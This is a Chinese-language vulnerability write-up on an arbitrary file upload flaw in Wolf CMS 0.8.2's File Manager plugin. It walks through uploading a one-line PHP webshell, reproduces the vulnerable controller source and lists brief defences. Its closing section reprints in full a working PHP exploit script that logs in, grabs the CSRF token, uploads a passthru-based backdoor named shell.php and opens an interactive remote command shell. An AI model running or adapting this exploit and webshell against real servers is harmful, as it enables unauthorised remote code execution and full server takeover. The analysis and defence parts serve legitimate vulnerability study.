[漏洞分析] Wolf CMS 0.8.2中任意文件上传漏洞
来源:互联网 发布:孕妇孕期必备软件 编辑:程序博客网 时间:2024/06/05 16:51
此漏洞的编号为:EDB-ID:36818 OSVDB-ID:120877
软件的官网为:https://www.wolfcms.org/
Wolf CMS是一种内容管理系统,并且免费。其由PHP编码语言写成。
Wolf CMS 0.8.2以及之前版本中存在文件上传漏洞。攻击者可以滥用上传特性来上传恶意的PHP文件到程序中,最终导致任意远程代码执行。
漏洞具体存在于File Manager函数中,这个函数是一个接口,便于管理文件。
在本例中,对于允许上传的文件类型是没有限制的。因此,攻击者可以上传PHP的shell文件,内含恶意代码,来完全控制受害者的服务器。
上传的文件还可以被转移到root目录,意味着攻击者可以通过互联网访问。
一、漏洞复盘
首先看一下漏洞存在的位置。
点击“文件上传”,上传一个名为ma2.php,这是一个一句话木马。
可以查看文件的内容,可见这个文件的位置为/public/ma2.php
可推断,上传的一句话木马的URL为 http://[HOST]/wolfcms/public/ma2.php,利用一句话菜刀去连接
成功拿下网站。
二、漏洞分析
存在问题的文件位于/wolf/plugins/file_manager/FileManagerController.php中第328至337行
<?php/* * Wolf CMS - Content Management Simplified. <http://www.wolfcms.org> * Copyright (C) 2008-2010 Martijn van der Kleijn <martijn.niji@gmail.com> * * This file is part of Wolf CMS. Wolf CMS is licensed under the GNU GPLv3 license. * Please see license.txt for the full license text. *//** * The FileManager allows users to upload and manipulate files. * * Note - Mostly rewritten since Wolf CMS 0.6.0 * * @package Plugins * @subpackage file-manager * * @author Martijn van der Kleijn <martijn.niji@gmail.com> * @copyright Martijn van der Kleijn, 2008-2010 * @license http://www.gnu.org/licenses/gpl.html GPLv3 license * * @todo Starting from PHP 5.3, use FileInfo *//* Security measure */if (!defined('IN_CMS')) { exit(); }/** * */class FileManagerController extends PluginController { var $path; var $fullpath; public static function _checkPermission() { AuthUser::load(); if (!AuthUser::isLoggedIn()) { redirect(get_url('login')); } else if (!AuthUser::hasPermission('file_manager_view')) { Flash::set('error', __('You do not have permission to access the requested page!')); redirect(get_url()); } } public function __construct() { self::_checkPermission(); $this->setLayout('backend'); $this->assignToLayout('sidebar', new View('../../plugins/file_manager/views/sidebar')); } public function index() { $this->browse(); } public function browse() { $params = func_get_args(); $this->path = join('/', $params); // make sure there's a / at the end if (substr($this->path, -1, 1) != '/') $this->path .= '/'; //security // we dont allow back link if (strpos($this->path, '..') !== false) { /* if (Plugin::isEnabled('statistics_api')) { $user = null; if (AuthUser::isLoggedIn()) $user = AuthUser::getUserName(); $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : ($_SERVER['REMOTE_ADDR']); $event = array('event_type' => 'hack_attempt', // simple event type identifier 'description' => __('A possible hack attempt was detected.'), // translatable description 'ipaddress' => $ip, 'username' => $user); Observer::notify('stats_file_manager_hack_attempt', $event); } */ } $this->path = str_replace('..', '', $this->path); // clean up nicely $this->path = str_replace('//', '', $this->path); // we dont allow leading slashes $this->path = preg_replace('/^\//', '', $this->path); $this->fullpath = FILES_DIR . '/' . $this->path; // clean up nicely $this->fullpath = preg_replace('/\/\//', '/', $this->fullpath); $this->display('file_manager/views/index', array( 'dir' => $this->path, //'files' => $this->_getListFiles() 'files' => $this->_listFiles() )); }// browse public function view() { $params = func_get_args(); $content = ''; $filename = urldecode(join('/', $params)); // Sanitize filename for securtiy // We don't allow backlinks if (strpos($filename, '..') !== false) { /* if (Plugin::isEnabled('statistics_api')) { $user = null; if (AuthUser::isLoggedIn()) $user = AuthUser::getUserName(); $ip = isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : ($_SERVER['REMOTE_ADDR']); $event = array('event_type' => 'hack_attempt', // simple event type identifier 'description' => __('A possible hack attempt was detected.'), // translatable description 'ipaddress' => $ip, 'username' => $user); Observer::notify('stats_file_manager_hack_attempt', $event); } */ } $filename = str_replace('..', '', $filename); // Clean up nicely $filename = str_replace('//', '', $filename); // We don't allow leading slashes $filename = preg_replace('/^\//', '', $filename); // Check if file had URL_SUFFIX - if so, append it to filename $filename .= (isset($_GET['has_url_suffix']) && $_GET['has_url_suffix']==='1') ? URL_SUFFIX : ''; $file = FILES_DIR . '/' . $filename; if (!$this->_isImage($file) && file_exists($file)) { $content = file_get_contents($file); } $this->display('file_manager/views/view', array( 'csrf_token' => SecureToken::generateToken(BASE_URL.'plugin/file_manager/save/'.$filename), 'is_image' => $this->_isImage($file), 'filename' => $filename, 'content' => $content )); } public function save() { $data = $_POST['file']; // security (remove all ..) $data['name'] = str_replace('..', '', $data['name']); $file = FILES_DIR . DS . $data['name']; // CSRF checks if (isset($_POST['csrf_token'])) { $csrf_token = $_POST['csrf_token']; if (!SecureToken::validateToken($csrf_token, BASE_URL.'plugin/file_manager/save/'.$data['name'])) { Flash::set('error', __('Invalid CSRF token found!')); redirect(get_url('plugin/file_manager/view/'.$data['name'])); } } else { Flash::set('error', __('No CSRF token found!')); redirect(get_url('plugin/file_manager/view/'.$data['name'])); } if (file_exists($file)) { if (file_put_contents($file, $data['content']) !== false) { Flash::set('success', __('File has been saved with success!')); } else { Flash::set('error', __('File is not writable! File has not been saved!')); } } else { if (file_put_contents($file, $data['content'])) { Flash::set('success', __('File :name has been created with success!', array(':name' => $data['name']))); } else { Flash::set('error', __('Directory is not writable! File has not been saved!')); } } // save and quit or save and continue editing ? if (isset($_POST['commit'])) { redirect(get_url('plugin/file_manager/browse/' . substr($data['name'], 0, strrpos($data['name'], '/')))); } else { redirect(get_url('plugin/file_manager/view/' . $data['name'] . (endsWith($data['name'], URL_SUFFIX) ? '?has_url_suffix=1' : ''))); } } public function create_file() { if (!AuthUser::hasPermission('file_manager_mkfile')) { Flash::set('error', __('You do not have sufficient permissions to create a file.')); redirect(get_url('plugin/file_manager/browse/')); } // CSRF checks if (isset($_POST['csrf_token'])) { $csrf_token = $_POST['csrf_token']; if (!SecureToken::validateToken($csrf_token, BASE_URL.'plugin/file_manager/create_file')) { Flash::set('error', __('Invalid CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } } else { Flash::set('error', __('No CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } $data = $_POST['file']; $path = str_replace('..', '', $data['path']); $filename = str_replace('..', '', $data['name']); $file = FILES_DIR . DS . $path . DS . $filename; if (file_put_contents($file, '') !== false) { $mode = Plugin::getSetting('filemode', 'file_manager'); chmod($file, octdec($mode)); } else { Flash::set('error', __('File :name has not been created!', array(':name' => $filename))); } redirect(get_url('plugin/file_manager/browse/' . $path)); } public function create_directory() { if (!AuthUser::hasPermission('file_manager_mkdir')) { Flash::set('error', __('You do not have sufficient permissions to create a directory.')); redirect(get_url('plugin/file_manager/browse/')); } // CSRF checks if (isset($_POST['csrf_token'])) { $csrf_token = $_POST['csrf_token']; if (!SecureToken::validateToken($csrf_token, BASE_URL.'plugin/file_manager/create_directory')) { Flash::set('error', __('Invalid CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } } else { Flash::set('error', __('No CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } $data = $_POST['directory']; $path = str_replace('..', '', $data['path']); $dirname = str_replace('..', '', $data['name']); $dir = FILES_DIR . "/{$path}/{$dirname}"; if (mkdir($dir)) { $mode = Plugin::getSetting('dirmode', 'file_manager'); chmod($dir, octdec($mode)); } else { Flash::set('error', __('Directory :name has not been created!', array(':name' => $dirname))); } redirect(get_url('plugin/file_manager/browse/' . $path)); } public function delete() { if (!AuthUser::hasPermission('file_manager_delete')) { Flash::set('error', __('You do not have sufficient permissions to delete a file or directory.')); redirect(get_url('plugin/file_manager/browse/')); } $paths = func_get_args(); $file = urldecode(join('/', $paths)); // CSRF checks if (isset($_GET['csrf_token'])) { $csrf_token = $_GET['csrf_token']; if (!SecureToken::validateToken($csrf_token, BASE_URL.'plugin/file_manager/delete/'.$file)) { Flash::set('error', __('Invalid CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } } else { Flash::set('error', __('No CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } $file = FILES_DIR . '/' . str_replace('..', '', $file); $filename = array_pop($paths); $paths = join('/', $paths); if (is_file($file)) { if (!unlink($file)) Flash::set('error', __('Permission denied!')); } else { if (!$this->_rrmdir($file)) Flash::set('error', __('Permission denied!')); } redirect(get_url('plugin/file_manager/browse/' . $paths)); } public function upload() { if (!AuthUser::hasPermission('file_manager_upload')) { Flash::set('error', __('You do not have sufficient permissions to upload a file.')); redirect(get_url('plugin/file_manager/browse/')); } // CSRF checks if (isset($_POST['csrf_token'])) { $csrf_token = $_POST['csrf_token']; if (!SecureToken::validateToken($csrf_token, BASE_URL.'plugin/file_manager/upload')) { Flash::set('error', __('Invalid CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } } else { Flash::set('error', __('No CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } $mask = Plugin::getSetting('umask', 'file_manager'); umask(octdec($mask)); $data = $_POST['upload']; $path = str_replace('..', '', $data['path']); $overwrite = isset($data['overwrite']) ? true : false; // Clean filenames $filename = preg_replace('/ /', '_', $_FILES['upload_file']['name']); $filename = preg_replace('/[^a-z0-9_\-\.]/i', '', $filename); if (isset($_FILES)) { $file = $this->_upload_file($filename, FILES_DIR . '/' . $path . '/', $_FILES['upload_file']['tmp_name'], $overwrite); if ($file === false) Flash::set('error', __('File has not been uploaded!')); } redirect(get_url('plugin/file_manager/browse/' . $path)); } public function chmod() { if (!AuthUser::hasPermission('file_manager_chmod')) { Flash::set('error', __('You do not have sufficient permissions to change the permissions on a file or directory.')); redirect(get_url('plugin/file_manager/browse/')); } // CSRF checks if (isset($_POST['csrf_token'])) { $csrf_token = $_POST['csrf_token']; if (!SecureToken::validateToken($csrf_token, BASE_URL.'plugin/file_manager/chmod')) { Flash::set('error', __('Invalid CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } } else { Flash::set('error', __('No CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } $data = $_POST['file']; $data['name'] = str_replace('..', '', $data['name']); $file = FILES_DIR . '/' . $data['name']; if (file_exists($file)) { if (@!chmod($file, octdec($data['mode']))) Flash::set('error', __('Permission denied!')); } else { Flash::set('error', __('File or directory not found!')); } $path = substr($data['name'], 0, strrpos($data['name'], '/')); redirect(get_url('plugin/file_manager/browse/' . $path)); } public function rename() { if (!AuthUser::hasPermission('file_manager_rename')) { Flash::set('error', __('You do not have sufficient permissions to rename this file or directory.')); redirect(get_url('plugin/file_manager/browse/')); } // CSRF checks if (isset($_POST['csrf_token'])) { $csrf_token = $_POST['csrf_token']; if (!SecureToken::validateToken($csrf_token, BASE_URL.'plugin/file_manager/rename')) { Flash::set('error', __('Invalid CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } } else { Flash::set('error', __('No CSRF token found!')); redirect(get_url('plugin/file_manager/browse/')); } $data = $_POST['file']; $data['current_name'] = str_replace('..', '', $data['current_name']); $data['new_name'] = str_replace('..', '', $data['new_name']); // Clean filenames $data['new_name'] = preg_replace('/ /', '_', $data['new_name']); $data['new_name'] = preg_replace('/[^a-z0-9_\-\.]/i', '', $data['new_name']); $path = substr($data['current_name'], 0, strrpos($data['current_name'], '/')); $file = FILES_DIR . '/' . $data['current_name']; // Check another file doesn't already exist with same name if (file_exists(FILES_DIR . '/' . $path . '/' . $data['new_name'])) { Flash::set('error', __('A file or directory with that name already exists!')); redirect(get_url('plugin/file_manager/browse/' . $path)); } if (file_exists($file)) { if (!rename($file, FILES_DIR . '/' . $path . '/' . $data['new_name'])) Flash::set('error', __('Permission denied!')); } else { Flash::set('error', __('File or directory not found!' . $file)); } redirect(get_url('plugin/file_manager/browse/' . $path)); } // // Privates // public function _getPath() { $path = join('/', get_params()); return str_replace('..', '', $path); } private function _listFiles() { if (is_dir($this->fullpath)) { $files = array(); $root = new DirectoryIterator($this->fullpath); foreach ($root as $cur) { if ($cur->isDot() || $cur->isLink()) continue; $name = $cur->getFilename(); if (Plugin::getSetting('show_hidden', 'file_manager') == '0' && $name[0] === '.') continue; if (Plugin::getSetting('show_backups', 'file_manager') == '0' && $name[strlen($name)-1] === '~') continue; $object = new stdClass; $object->name = $cur->getFilename(); $object->is_dir = $cur->isDir(); $object->is_file = $cur->isFile(); $object->size = convert_size($cur->getSize()); $object->mtime = date('D, j M, Y', $cur->getMTime()); list($object->perms, $object->chmod) = $this->_getPermissions($cur->getPerms()); // Find the file type $object->type = $this->_getFileType($cur); // make the link depending on if it's a file or a dir if ($cur->isDir()) { $object->link = '<a href="' . get_url('plugin/file_manager/browse/' . $this->path . $object->name) . '">' . $object->name . '</a>'; } else { $object->link = '<a href="' . get_url('plugin/file_manager/view/' . $this->path . $object->name . (endsWith($object->name, URL_SUFFIX) ? '?has_url_suffix=1' : '')) . '">' . $object->name . '</a>'; } $files[$object->name] = $object; } // note - uses anonymous function so PHP 5.3+ required uasort($files, function($a, $b) { if ($a->is_dir && !$b->is_dir) { return 0; } elseif ($b->is_dir && !$a->is_dir) { return 1; } else { return strnatcmp($a->name, $b->name); } }); return $files; } return array(); } private function _getFileType($file) { $default = 'unknown'; $types = array( 'png' => 'image', 'jpg' => 'image', 'jpeg' => 'image', 'gif' => 'image', 'ico' => 'image', 'zip' => 'archive', 'gzip' => 'archive', 'gz' => 'archive', 'tar' => 'archive', 'bz2' => 'archive', 'php' => 'php', ); if ($file->isDir()) { return 'folder'; } $filename = $file->getFilename(); $pos = strrpos($filename, '.'); // The file has no extention, so use default if ($pos === false) { return $default; } // Check if the file is a known type based on the extention $extn = substr($filename, $pos + 1); if (isset($types[$extn])) { return $types[$extn]; } else { return $default; } } private function _getPermissions($perms) { //$perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= ( ($perms & 0x0100) ? 'r' : '-'); $info .= ( ($perms & 0x0080) ? 'w' : '-'); $info .= ( ($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= ( ($perms & 0x0020) ? 'r' : '-'); $info .= ( ($perms & 0x0010) ? 'w' : '-'); $info .= ( ($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= ( ($perms & 0x0004) ? 'r' : '-'); $info .= ( ($perms & 0x0002) ? 'w' : '-'); $info .= ( ($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return array($info, substr(sprintf('%o', $perms), -4, 4)); // (perm, chmod) } public function _isImage($file) { if (!@is_file($file)) return false; else if (!preg_match('/^(.*).(jpe?g|gif|png|ico|svg)$/i', $file)) return false; return true; } // Usage: upload_file($_FILE['file']['name'],'temp/',$_FILE['file']['tmp_name']) private function _upload_file($origin, $dest, $tmp_name, $overwrite=false) { FileManagerController::_checkPermission(); AuthUser::load(); if (!AuthUser::hasPermission('file_manager_upload')) { return false; } $origin = basename($origin); $full_dest = $dest . $origin; $file_name = $origin; for ($i = 1; file_exists($full_dest); $i++) { if ($overwrite) { unlink($full_dest); continue; } $file_ext = (strpos($origin, '.') === false ? '' : '.' . substr(strrchr($origin, '.'), 1)); $file_name = substr($origin, 0, strlen($origin) - strlen($file_ext)) . '_' . $i . $file_ext; $full_dest = $dest . $file_name; } if (move_uploaded_file($tmp_name, $full_dest)) { // change mode of the uploaded file $mode = Plugin::getSetting('filemode', 'file_manager'); chmod($full_dest, octdec($mode)); return $file_name; } return false; } // recursiv rmdir private function _rrmdir($dirname) { FileManagerController::_checkPermission(); AuthUser::load(); if (!AuthUser::hasPermission('file_manager_delete')) { return false; } if (is_dir($dirname)) { // Append slash if necessary if (substr($dirname, -1) != '/') $dirname.='/'; $handle = opendir($dirname); while (false !== ($file = readdir($handle))) { if ($file != '.' && $file != '..') { $path = $dirname . $file; if (is_dir($path)) { $this->_rrmdir($path); } else { unlink($path); } } } closedir($handle); rmdir($dirname); // Remove dir return true; // Return array of deleted items } else { return false; // Return false if attempting to operate on a file } } public function settings() { AuthUser::load(); if (!AuthUser::isLoggedIn()) { redirect(get_url('login')); } else if (!AuthUser::hasPermission('admin_edit')) { Flash::set('error', __('You do not have permission to access the requested page!')); redirect(get_url()); } $settings = Plugin::getAllSettings('file_manager'); if (!$settings) { Flash::set('error', 'Files - ' . __('unable to retrieve plugin settings.')); return; } $this->display('file_manager/views/settings', array('settings' => $settings)); } public function settings_save() { AuthUser::load(); if (!AuthUser::isLoggedIn()) { redirect(get_url('login')); } else if (!AuthUser::hasPermission('admin_edit')) { Flash::set('error', __('You do not have permission to access the requested page!')); redirect(get_url()); } if (!isset($_POST['settings'])) { Flash::set('error', 'File Manager - ' . __('form was not posted.')); redirect(get_url('plugin/file_manager/settings')); } else { $settings = $_POST['settings']; if ($settings['umask'] == 0) $settings['umask'] = 0; elseif (!preg_match('/^0?[0-7]{3}$/', $settings['umask'])) $settings['umask'] = 0; if (strlen($settings['umask']) === 3) $settings['umask'] = '0' . $settings['umask']; elseif (strlen($settings['umask']) !== 4 && $settings['umask'] != 0) $settings['umask'] = 0; if (!preg_match('/^0?[0-7]{3}$/', $settings['dirmode'])) $settings['dirmode'] = '0755'; if (strlen($settings['dirmode']) === 3) $settings['dirmode'] = '0' . $settings['dirmode']; if (!preg_match('/^0?[0-7]{3}$/', $settings['filemode'])) $settings['filemode'] = '0755'; if (strlen($settings['filemode']) === 3) $settings['filemode'] = '0' . $settings['filemode']; } if (Plugin::setAllSettings($settings, 'file_manager')) Flash::setNow('success', 'File Manager - ' . __('plugin settings saved.')); else Flash::setNow('error', 'File Manager - ' . __('plugin settings not saved!')); $this->display('file_manager/views/settings', array('settings' => $settings)); }}
从代码中可见,对于上传的文件,代码只做了两件事情,首先,对文件名中的空格换成下划线,并且只保留文件名中的小写字母,数字,下划线,小横线以及点号,剩下的字符一律删除。在本例中上传的一句话木马名为ma2.php,不会受到任何影响,因此成功上传。
三、防御方法
文件上传类漏洞的防御方法有很多,大方向上有三点:
1、将文件上传的目录设置成不可执行。
2、判断文件类型
3、使用随机数改写文件名和文件路径
后记
漏洞的发现者给出了一个用PHP写成的漏洞利用代码,可作为参考
<?php/* ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' Exploit Title : Wolf CMS Arbitrary File Upload Exploit Date : 22 April 2015 Exploit Author : CWH Underground Discovered By : ZeQ3uL Site : www.2600.in.th Vendor Homepage : https://www.wolfcms.org/ Software Link : https://bitbucket.org/wolfcms/wolf-cms-downloads/downloads/wolfcms-0.8.2.zip Version : 0.8.2 ####################SOFTWARE DESCRIPTION#################### Wolf CMS is a content management system and is Free Software published under the GNU General Public License v3. Wolf CMS is written in the PHP programming language. Wolf CMS is a fork of Frog CMS. #######################################VULNERABILITY: Arbitrary File Upload####################################### This exploit a file upload vulnerability found in Wolf CMS 0.8.2, and possibly prior. Attackers can abuse theupload feature in order to upload a malicious PHP file into the application with authenticated user, which results in arbitrary remote code execution. The vulnerability was found on File Manager Function (Enabled by default), which provides interfaces to manage files from the administration. In this simple example, there are no restrictions made regarding the type of files allowed for uploading. Therefore, an attacker can upload a PHP shell file with malicious code that can lead to full control of a victim server. Additionally, the uploaded file can be moved to the root directory, meaning that the attacker can access it through the Internet. /wolf/plugins/file_manager/FileManagerController.php (LINE: 302-339)-----------------------------------------------------------------------------// Clean filenames $filename = preg_replace('/ /', '_', $_FILES['upload_file']['name']); $filename = preg_replace('/[^a-z0-9_\-\.]/i', '', $filename); if (isset($_FILES)) { $file = $this->_upload_file($filename, FILES_DIR . '/' . $path . '/', $_FILES['upload_file']['tmp_name'], $overwrite); if ($file === false) Flash::set('error', __('File has not been uploaded!')); }----------------------------------------------------------------------------- #####################Disclosure Timeline##################### [04/04/2015] - Issue reported to Developer Team[08/04/2015] - Discussed for fixing the issue[16/04/2015] - Issue reported to http://seclists.org/oss-sec/2015/q2/210[22/04/2015] - Public disclosure #####################################################EXPLOIT##################################################### */ error_reporting(0);set_time_limit(0);ini_set("default_socket_timeout", 50); function http_send($host, $packet){ if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock);} print "\n+---------------------------------------+";print "\n| WolfCMS Arbitrary File Upload Exploit |";print "\n+---------------------------------------+\n"; if ($argc < 5){ print "\nUsage......: php $argv[0] <host> <path> <user> <pass>\n"; print "\nExample....: php $argv[0] localhost /wolfcms test password\n"; die();} $host = $argv[1];$path = $argv[2];$user = $argv[3];$pass = $argv[4]; print "\n ,--^----------,--------,-----,-------^--, \n"; print " | ||||||||| `--------' | O \n"; print " `+---------------------------^----------| \n"; print " `\_,-------, _________________________| \n"; print " / XXXXXX /`| / \n"; print " / XXXXXX / `\ / \n"; print " / XXXXXX /\______( \n"; print " / XXXXXX / \n"; print " / XXXXXX / .. CWH Underground Hacking Team .. \n"; print " (________( \n"; print " `------' \n"; $login = "login[username]={$user}&login[password]={$pass}&login[redirect]=/wolfcms/?/admin/";$packet = "POST {$path}/?/admin/login/login HTTP/1.1\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Cookie: PHPSESSID=cwh\r\n";$packet .= "Content-Length: ".strlen($login)."\r\n";$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";$packet .= "Connection: close\r\n\r\n{$login}"; $response = http_send($host, $packet); if (!preg_match_all("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n"); $packet = "GET {$path}/?/admin/plugin/file_manager HTTP/1.1\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Cookie: {$sid[1][2]}\r\n";$packet .= "Connection: close\r\n\r\n";$response=http_send($host, $packet); if (!preg_match_all("/csrf_token\" type=\"hidden\" value=\"(.*?)\" \/>/i", $response, $token)) die("\n[-] The username/password is incorrect!\n");print "\n[+] Login Successfully !!\n";sleep(2);print "\n[+] Retrieving The Upload token !!\n";print "[+] The token is: {$token[1][4]}\n"; $payload = "--o0oOo0o\r\n";$payload .= "Content-Disposition: form-data; name=\"csrf_token\"\r\n\r\n";$payload .= "{$token[1][4]}\r\n";$payload .= "--o0oOo0o\r\n";$payload .= "Content-Disposition: form-data; name=\"upload_file\"; filename=\"shell.php\"\r\n";$payload .= "Content-Type: application/octet-stream\r\n\r\n";$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";$payload .= "--o0oOo0o--\r\n"; $packet = "POST {$path}/?/admin/plugin/file_manager/upload HTTP/1.1\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Cookie: {$sid[1][2]}\r\n";$packet .= "Content-Length: ".strlen($payload)."\r\n";$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";$packet .= "Connection: close\r\n\r\n{$payload}"; http_send($host, $packet); $packet = "GET {$path}/public/shell.php HTTP/1.1\r\n";$packet .= "Host: {$host}\r\n";$packet .= "Cmd: %s\r\n";$packet .= "Connection: close\r\n\r\n"; while(1){ print "\nWolf-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");} ################################################################################################################# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2################################################################################################################?>
0 0
- [漏洞分析] Wolf CMS 0.8.2中任意文件上传漏洞
- Wolf CMS 新旧两个版本中的文件上传漏洞分析
- PHPCMS最新版任意文件上传漏洞分析
- 【原创技术分享】Exponent-cms任意文件上传漏洞分析 (cve-2016-7095)
- [漏洞分析] BlackCat CMS 1.1.1任意文件下载
- fckeditor任意文件上传漏洞
- PHP任意文件上传漏洞
- 齐博cms任意登陆漏洞
- Fckeditor <=2.4.2 For php 任意上传文件漏洞
- Fckeditor <=2.4.2 For php 任意上传文件漏洞
- Fckeditor 2.4.2 php任意上传文件漏洞
- Fckeditor 2.4.2 php任意上传文件漏洞+修补方法
- F2blog XMLRPC 上传任意文件漏洞
- FCKeditor connector.php任意文件上传漏洞
- FFmpeg任意文件读取漏洞分析
- FFmpeg任意文件读取漏洞分析
- FFmpeg任意文件读取漏洞分析
- 任意文件包含漏洞
- CentOS yum安装mysql后 Can’t connect to local MySQL server through socket ‘/var/lib/mysql/mysql.sock’
- 大数据处理
- POJ 2186 popular cow 有向图的强联通问题 Tarjan算法
- 远程快速杀死session!
- Find The Multiple poj1426
- [漏洞分析] Wolf CMS 0.8.2中任意文件上传漏洞
- 在Windows7中装Ubuntu双系统
- mysql 安装mysqlbackup
- 机器学习和人工智能将开创计算机2.0时代
- C语言 用递归法将一个整数n转换成字符串
- 数据库第五章作业
- Prime Path poj 3126
- 数的划分---动态规划
- js取出接口中json中数组里的值